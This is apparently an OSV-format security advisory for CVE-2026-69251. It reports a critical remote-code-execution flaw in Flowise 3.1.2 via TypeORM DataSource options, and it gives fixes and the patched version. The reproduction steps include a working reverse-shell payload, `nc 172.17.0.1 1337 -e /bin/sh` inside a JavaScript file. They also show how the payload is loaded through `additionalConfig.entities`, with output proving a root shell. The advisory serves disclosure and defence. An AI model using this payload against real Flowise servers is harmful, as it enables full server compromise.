CVE-2026-69251: Flowise Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g32j-mmxr-gfq5",
  "modified" : "2026-08-04T14:28:04Z",
  "published" : "2026-08-04T14:28:04Z",
  "aliases" : [ "CVE-2026-69251" ],
  "summary" : "Flowise RCE via TypeORM DataSource",
  "details" : "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via TypeORM DataSource\n\nModule:         FlowiseAI/Flowise\nDisclosed:      15-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).\n\n# II.  Problem Description\n\nThe following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:\n\n* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)\n* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)\n* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)\n* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)\n\nThis is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).\n\nThe following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE\"\nDate: Wed, 15 Apr 2026 10:58:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"activeOrganizationCustomerId\": null,\n    \"activeOrganizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", <1>\n    \"activeOrganizationProductId\": \"\",\n    \"activeOrganizationSubscriptionId\": null,\n    \"activeWorkspace\": \"Default Workspace\",\n    \"activeWorkspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n    \"assignedWorkspaces\": [\n        {\n            \"id\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n            \"name\": \"Default Workspace\",\n            \"organizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", <1>\n            \"role\": \"owner\"\n        }\n    ],\n    \"email\": \"admin@flowise.local\",\n    \"features\": {},\n    \"id\": \"b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab\",\n    \"isOrganizationAdmin\": true,\n    \"isSSO\": false,\n    \"name\": \"Admin\",\n    \"permissions\": [\n        \"organization\",\n        \"workspace\"\n    ],\n    \"roleId\": \"b1d1a990-b908-1f7f-889b-5603cb093ff1\"\n}\n```\n<1> The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\n```\n\n3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 1000\nETag: W/\"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o\"\nDate: Wed, 15 Apr 2026 10:59:34 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"characters\": 94,\n    \"chunks\": [\n        {\n            \"chunkNo\": 1,\n            \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n            \"id\": \"7f5f4d41-f684-4b16-9b3c-c1623678e7a0\",\n            \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n            \"pageContent\": \"process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\",\n            \"storeId\": \"afb065cc-8b53-4ff3-82d3-a19e012a2ecb\" <1>\n        }\n    ],\n    \"count\": 1,\n    \"currentPage\": 1,\n    \"description\": \"\",\n    \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n    \"file\": {\n        \"files\": [\n            {\n                \"id\": \"5becc8f6-713b-4c6b-8ca8-3275791a730c\",\n                \"mimePrefix\": \"application/x-javascript\",\n                \"name\": \"rce.js\",\n                \"size\": 94,\n                \"status\": \"NEW\",\n                \"uploaded\": \"2026-04-15T10:59:34.039Z\"\n            }\n        ],\n        \"id\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n        \"loaderConfig\": {\n            \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n            \"legacyBuild\": \"\",\n            \"metadata\": \"\",\n            \"omitMetadataKeys\": \"\",\n            \"pointerName\": \"\",\n            \"textSplitter\": \"\",\n            \"usage\": \"perPage\"\n        },\n        \"loaderId\": \"fileLoader\",\n        \"loaderName\": \"RCE File\",\n        \"status\": \"SYNC\",\n        \"totalChars\": 94,\n        \"totalChunks\": 1\n    },\n    \"storeName\": \"RCE POC Store\",\n    \"workspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\"\n}\n```\n<1> The store ID that is required for a later step.\n\n4. Import the following Chatflow and configure the \"MySQL Record Manager\", \"OpenAI Embedding\" and \"Weaviate\" nodes.\n\n[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)\n\n5. Open the \"Additional Parameters\" window for the \"MySQL Record Manager\" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.\n\n<img width=\"2229\" height=\"1148\" alt=\"mysql-datasource-config\" src=\"https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2\" />\n\n6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.\n\n```\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43421\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n# III. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.\n\n# IV.  Solution\n\nDo not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:\n\n* `extra`: Could be abused to provide dangerous driver options.\n* `entities`: Could be abused to load arbitrary JavaScript files.\n* `subscribers`: Could be abused to load arbitrary JavaScript files.\n* `migrations`: Could be abused to load arbitrary JavaScript files.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T14:28:04Z",
    "nvd_published_at" : null
  }
}